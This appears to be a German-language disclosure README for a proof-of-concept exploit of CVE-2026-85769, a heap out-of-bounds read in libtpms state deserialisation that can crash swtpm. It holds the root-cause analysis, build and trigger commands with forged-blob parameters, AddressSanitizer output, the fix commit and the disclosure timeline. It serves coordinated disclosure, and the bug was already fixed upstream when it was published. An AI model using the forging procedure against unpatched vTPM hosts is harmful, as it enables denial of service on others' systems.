
Proof-of-Concept-Exploit für CVE-2026-85769, eine Heap-Out-of-Bounds-Leseoperation in der TPM-2.0-Zustandsdeserialisierung von libtpms, die einen Denial-of-Service über einen manipulierten Zustands-Blob demonstriert.
Heap-Out-of-Bounds-Lesen in der libtpms-Deserialisierung des flüchtigen TPM-2.0-Zustands.
Ein unbegrenzter Übersprung optionaler Blöcke in block_skip_read() verschiebt den Unmarshal-Cursor um eine angreiferkontrollierte 16-Bit-Länge und treibt den vorzeichenbehafteten Zähler der verbleibenden Größe ins Negative. Jede nachgelagerte Grenzprüfung besteht daraufhin, da sie diesen vorzeichenbehafteten Wert in eine vorzeichenlose Zahl umwandelt. Ein gefälschter, selbst-checksummierter Blob des flüchtigen Zustands, der über TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) eingespeist wird, erzeugt ein Heap-Out-of-Bounds-Lesen und beendet den Prozess, der libtpms hostet — swtpm in einer vTPM-Bereitstellung.
| CVE | CVE-2026-85769 |
| Komponente | src/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c |
| CWE | CWE-125 ← CWE-191 (Integer-Unterlauf) + CWE-195 (Konvertierung von vorzeichenbehaftet zu vorzeichenlos) |
| Betroffen | master f7f072b2, v0.10.2 03ff2481 sowie frühere Releases mit diesem Code |
| Behoben | 9e1475ff — „tpm2: Add checks for *size < 0 before casting it to UINT32" (PR #613) |
| CVSS 3.1 | AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Mittel) |
| Gemeldet | 2026-09-01, privat an den Maintainer |
block_skip_read() überspringt einen optionalen versionierten Block, indem es den Parse-Cursor vorrückt, ohne die Länge gegen die verbleibenden Bytes zu prüfen:
} else if (has_block && !needs_block) {
/* byte stream has the data but we don't need them */
*buffer += blocksize; /* blocksize is a UINT16 from the blob */
*size -= blocksize; /* *size is INT32 — goes negative */
*skip_code = TRUE;
}
*size ist vorzeichenbehaftet. Sobald es negativ ist, funktioniert die Absicherung vor jedem Skalar-Lesen nicht mehr:
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2 -> false /* guard passes */
Je weiter der Parse über die Allokation hinausläuft, desto negativer wird *size — und desto größer wirkt es vorzeichenlos. Dieselbe Datei enthält bereits die korrekte Form in Array_Unmarshal, die vorzeichenbehaftet vergleicht.
Das einzige Integritäts-Gate ist ein ungeschlüsseltes SHA-1, das an den Blob angehängt wird (src/tpm2/Volatile.c), sodass der PoC es nach der Manipulation neu berechnet.
Erreichbar über TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) und die Wiederherstellungskette beim Einschalten TPMLIB_MainInit → _TPM_Init → VolatileLoad.
In einer swtpm-Bereitstellung ist der relevante Pfad die Live-Migration — CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, gesteuert von libvirt. Der Zielhost parst einen Zustands-Blob, der auf dem Quellhost erzeugt wurde. Ein konfigurierter --migration-key mildert dies nicht: Der Schlüssel wird zwischen beiden Hosts geteilt, sodass eine kompromittierte Quelle ihn besitzt und einen Blob erzeugt, der korrekt entschlüsselt. Er schützt vor einem zwischengeschalteten Dritten, nicht vor einem feindseligen Peer.
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967 # v0.10.2, or ba73ab17 for pre-fix master
./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
LDFLAGS='-fsanitize=address'
make -j4
gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin
# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610
# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0
8610 ist so bemessen, dass der Cursor in ASans Redzone landet und nicht auf einem wilden Zeiger:
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610
Offset 173 ist das has_block-Byte des ORDERLY_DATA-skip_future_versions-Trailers. Es wurde durch Instrumentierung von block_skip_read() zum Ausgeben des Offsets während eines Parses lokalisiert, nicht durch Zählen von Bytes — der Offset verschiebt sich mit dem Zustandsformat, also leiten Sie ihn neu ab, wenn Ihre Blob-Länge von 8778 abweicht.
Beachten Sie, dass skip_self_heal_timer kein nutzbarer Trailer ist: ACCUMULATE_SELF_HEAL_TIMER YES in TpmBuildSwitches.h bedeutet, dass er mit needs_block = TRUE ausgegeben wird und den sicheren Zweig nimmt.
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
#0 in UINT16_Unmarshal tpm2/Unmarshal.c:71
#1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
#2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453
#3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
#4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431
#5 in VolatileState_Load tpm2/Volatile.c:81
#6 in TPM2_SetState src/tpm_tpm2_interface.c:820
#7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)
Der Fehler tritt in UINT16_Unmarshal auf, nicht in block_skip_read — der Übersprung rückt den Cursor vor und kehrt ohne Lesen zurück. Die Korruption landet beim nächsten Struktur-Lesen.
Gegen den behobenen Commit gibt jeder Angriffsfall TPM_RC_INSUFFICIENT (0x9a) ohne ASan-Bericht zurück, und gültige Blobs werden weiterhin mit rc=0 wiederhergestellt.
Denial of Service des Prozesses, der libtpms hostet, plus undefiniertes Verhalten.
Informationsoffenlegung wurde getestet und ausgeschlossen. Kleine Überschreitungen bei einem Nicht-ASan-Build geben jedes Mal TPM_RC_BAD_TAG (0x1e) zurück:
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000
Das unmittelbar nach der Überschreitung gelesene Element ist ein NV_HEADER, dessen 32-Bit-Magic mit einer festen Konstante übereinstimmen muss. Angrenzender Heap erfüllt das mit p ≈ 2⁻³². Der Parse bricht ab, ClearAllCachedState() verwirft alles, und keine Out-of-Bounds-Bytes erreichen TPMLIB_GetState. Vertraulichkeit ist daher C:N. Die Überprüfung von Red Hat kam unabhängig zum selben Schluss.
Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)
Unabhängig gemeldet von Leyao (ICT CAS), im selben CVE gewürdigt.
Dieser PoC wird veröffentlicht, nachdem das Problem upstream behoben und die CVE zugewiesen wurde. Er zielt auf einen lokalen Build einer Open-Source-Bibliothek ab und tut nichts über das Auslösen des Parses hinaus. Testen Sie nur, was Sie zu testen autorisiert sind.
MIT
| Datum |
|---|
| 2026-09-01 | Privat an den libtpms-Maintainer gemeldet |
| 2026-09-04 | Dieselbe Grundursache öffentlich und unabhängig von Leyao (ICT CAS) als libtpms-Problem #614 gemeldet |
| 2026-09-04 | Upstream in 9e1475ff behoben (PR #613); Fix gegen diesen PoC verifiziert |
| 2026-09-04 | An Red Hat Product Security gemeldet |
| 2026-09-04 | CVE-2026-85769 zugewiesen |